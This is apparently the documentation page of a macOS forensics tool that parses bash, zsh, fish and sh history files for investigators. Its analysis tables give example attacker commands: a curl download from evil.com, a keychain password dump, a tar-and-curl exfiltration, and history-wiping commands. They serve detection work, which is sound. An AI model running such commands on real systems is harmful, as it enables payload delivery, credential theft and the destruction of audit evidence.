User Activity
Shell History
Overview
Shell history files record commands executed by users in terminal sessions. On macOS, multiple shells may be installed and used concurrently by different users or even the same user. Since macOS 10.15 (Catalina), the default shell is zsh, replacing bash which had been the default since Mac OS X 10.3 (Panther).
Shell history is among the most forensically valuable artifacts on a system. It provides a direct, chronological record of user-initiated actions -- including commands that download malicious payloads, establish persistence, exfiltrate data, create backdoors, and perform lateral movement.
Forensic Significance
| Evidence Type | Forensic Value |
|---|---|
| Executed commands | Direct evidence of user or attacker actions |
| Timestamps (zsh, fish) | Establishes when commands were executed |
| Command sequences | Reveals operational patterns and attack chains |
| Network commands | curl, wget, ssh, scp -- data exfiltration, lateral movement |
| File operations | cp, mv, rm, tar -- staging, cleanup, anti-forensics |
| Credential access | mysql, aws configure, security commands -- credential usage |
| Reconnaissance | whoami, id, ifconfig, ps -- initial access enumeration |
Supported Shells
macfor collects and parses history from four shells in the following order:
| Shell | Default Since | History Format | Timestamps |
|---|---|---|---|
| Zsh | macOS 10.15 (Catalina) | Extended format with timestamps | Yes (Unix epoch) |
| Bash | macOS 10.3 - 10.14 | Plain text, optional HISTTIMEFORMAT | Conditional |
| Fish | User-installed | YAML-like format | Yes (Unix epoch) |
| Sh | POSIX standard | Plain text | No |
File Locations
| Shell | History File Path | Notes |
|---|---|---|
| Bash | ~/.bash_history | One command per line |
| Zsh | ~/.zsh_history | Extended format with timestamps |
| Fish | ~/.local/share/fish/fish_history | YAML-like structured format |
| Sh | ~/.sh_history | One command per line |
All paths are relative to each user's home directory. macfor enumerates all user accounts on the system and checks each location for each user.
Additional Files of Interest
While not collected by the shell history plugin, these related files may contain forensic evidence:
| File | Content |
|---|---|
~/.zshrc, ~/.bashrc | Shell configuration, aliases, environment setup |
~/.bash_profile, ~/.zprofile | Login shell configuration |
~/.ssh/known_hosts | SSH host fingerprints (systems connected to) |
~/.ssh/config | SSH connection aliases and configurations |
File Format
Bash History Format
Bash history is the simplest format: one command per line in plain text.
ls -la
cd /var/log
grep error system.log
sudo dscl . -list /Users
When HISTTIMEFORMAT is set in the user's environment, bash prepends timestamp lines:
#1706012400
ls -la
#1706012405
cd /var/log
#1706012410
grep error system.log
The #timestamp line contains a Unix epoch integer. The command on the following line was executed at that time. Not all bash histories contain timestamps -- they are only present if the user explicitly configured HISTTIMEFORMAT in their .bashrc or .bash_profile.
Zsh History Format
Zsh uses an extended history format that includes timestamps and command duration:
: 1706012400:0;ls -la
: 1706012405:0;cd /var/log
: 1706012410:0;grep error system.log
The format for each line is:
: <unix_timestamp>:<duration>;<command>
| Component | Description |
|---|---|
: | Literal prefix (colon, space) |
<unix_timestamp> | Unix epoch seconds when the command was executed |
: | Separator |
<duration> | Execution duration in seconds (0 if not tracked) |
; | Separator |
<command> | The actual command text |
Multi-line commands in zsh history are indicated by a trailing backslash (\) on continued lines:
: 1706012400:0;for i in $(seq 1 10); do \
echo $i \
done
The parser reassembles these into a single command record with the timestamp from the first line.
Lines that do not match the extended format pattern ^: \d+:\d+; are treated as plain commands without timestamps.
Fish History Format
Fish uses a YAML-like structured format:
- cmd: ls -la
when: 1706012400
- cmd: cd /var/log
when: 1706012405
paths:
- /var/log
- cmd: grep error system.log
when: 1706012410
Each entry starts with - cmd: and may include:
| Field | Description | Required |
|---|---|---|
cmd | The executed command | Yes |
when | Unix epoch timestamp | No (but almost always present) |
paths | File paths referenced in the command | No |
The paths field is a YAML list of filesystem paths that fish automatically tracks for the command. This is unique to fish and can provide additional filesystem context.
Sh History Format
Sh (POSIX shell) uses the simplest format: one command per line with no timestamp support.
ls -la
cd /var/log
cat /etc/passwd
Every non-empty line is treated as a complete command.
Key Fields for Analysis
Parsed Record Schema
All shell history records share a common structure:
| Field | Type | Description |
|---|---|---|
type | string | Always "shell_command" |
user | string | Username who executed the command |
shell | string | Shell type: "bash", "zsh", "fish", or "sh" |
command | string | The full command text |
timestamp | time/null | Execution time (null if not available) |
duration | int | Execution duration in seconds (zsh only) |
paths | []string | Referenced file paths (fish only) |
line_number | int | Line number in the source history file |
source_file | string | Absolute path to the history file |
Timestamps
Timestamp Availability by Shell
| Shell | Timestamp Available | Format | Reliability |
|---|---|---|---|
| Zsh | Yes (always in extended format) | Unix epoch seconds | High -- written by shell automatically |
| Fish | Yes | Unix epoch seconds | High -- written by shell automatically |
| Bash | Conditional (requires HISTTIMEFORMAT) | Unix epoch seconds (prefixed with #) | Medium -- depends on user configuration |
| Sh | Never | N/A | N/A |
Timestamp Validation
macfor validates timestamps against a reasonable range:
- Minimum: 631152000 (1990-01-01)
- Maximum: 4102444800 (2100-01-01)
Timestamps outside this range are discarded as invalid. A # line in bash history that contains a number outside this range is treated as a comment rather than a timestamp.
Conversion
All shell history timestamps are Unix epoch integers (seconds since 1970-01-01 00:00:00 UTC). No conversion is needed for standard Unix timestamp handling:
datetime = unix_timestamp_to_datetime(timestamp_value)
Analysis Notes
Command Pattern Analysis
Forensically significant command patterns:
| Pattern | MITRE ATT&CK | Example |
|---|---|---|
| Remote downloads | T1105 (Ingress Tool Transfer) | curl -o /tmp/payload http://evil.com/backdoor |
| Credential dumping | T1555 (Credentials from Password Stores) | security find-generic-password -wa "Wi-Fi" |
| Lateral movement | T1021.004 (SSH) | ssh admin@192.168.1.100 |
| Persistence | T1543.001 (Launch Agent) | cp evil.plist ~/Library/LaunchAgents/ |
| Defence evasion | T1070.003 (Clear Command History) | rm ~/.zsh_history or history -c |
| Discovery | T1082 (System Information) | sw_vers, system_profiler, ifconfig |
| Data exfiltration | T1041 (Exfiltration Over C2) | tar czf /tmp/data.tar.gz ~/Documents && curl -X POST ... |
| Privilege escalation | T1548.003 (Sudo) | sudo -s, sudo bash |
Anti-Forensic Indicators
Commands that attempt to destroy or manipulate shell history:
| Command | Effect |
|---|---|
rm ~/.bash_history or rm ~/.zsh_history | Deletes history file |
history -c | Clears in-memory history (bash) |
> ~/.zsh_history | Truncates history file to zero bytes |
unset HISTFILE | Prevents history from being written |
export HISTSIZE=0 | Sets history size to zero |
ln -sf /dev/null ~/.bash_history | Replaces history file with symlink to /dev/null |
set +o history | Disables history recording |
The presence of these commands in a history file is itself evidence, since the commands were logged before they took effect.
Multi-Line Command Handling
Zsh supports multi-line commands indicated by trailing backslashes. macfor reassembles these into single command records, preserving the complete command text with embedded newlines. The timestamp and line number correspond to the first line of the multi-line command.
Empty and Missing Files
- A missing history file is normal -- it means the user does not use that shell.
- An empty history file may indicate intentional clearing.
- A history file with a very recent modification time but no content suggests recent truncation.
- A file that exists but is a symlink to
/dev/nullindicates deliberate anti-forensics.
Permission Requirements
- Standard user: Can only access their own history files.
- Root/sudo: Required for multi-user collection (accessing other users' home directories).
- macfor warns if running without elevated privileges, as some user histories may be inaccessible.
Sensitive Data in History
Shell history files frequently contain accidentally exposed sensitive data:
- Passwords passed as command arguments (
mysql -p'secret') - API keys and tokens in environment variable assignments
- AWS, Azure, and GCP credentials in CLI commands
- SSH passphrases
- Database connection strings
macfor collects history files in their entirety for forensic completeness. Evidence containers should be treated as containing sensitive material.
Version Differences
Shell history formats have been stable across macOS versions. The primary change is the default shell:
| macOS Version | Default Shell | Notes |
|---|---|---|
| 10.3 - 10.14 (Panther - Mojave) | Bash (3.2.x) | Apple ships an outdated bash due to GPLv3 |
| 10.15+ (Catalina and later) | Zsh (5.x) | Default changed; existing users keep their configured shell |
The bash version shipped with macOS (3.2.57) is from 2007 and lacks features found in newer versions. This is relevant because some HISTTIMEFORMAT features may behave differently than expected.
Fish is not included with macOS by default and must be installed separately (typically via Homebrew). Its presence indicates a technically sophisticated user.
Tool Support
| Tool | Support |
|---|---|
| macfor | Full collection and parsing of bash, zsh, fish, and sh history with timestamp extraction |
| log2timeline/Plaso | Shell history parsing for timeline analysis |
| AXIOM (Magnet) | Commercial shell history analysis |
| Autopsy | Shell history module |
| grep/awk/sed | Manual command-line analysis |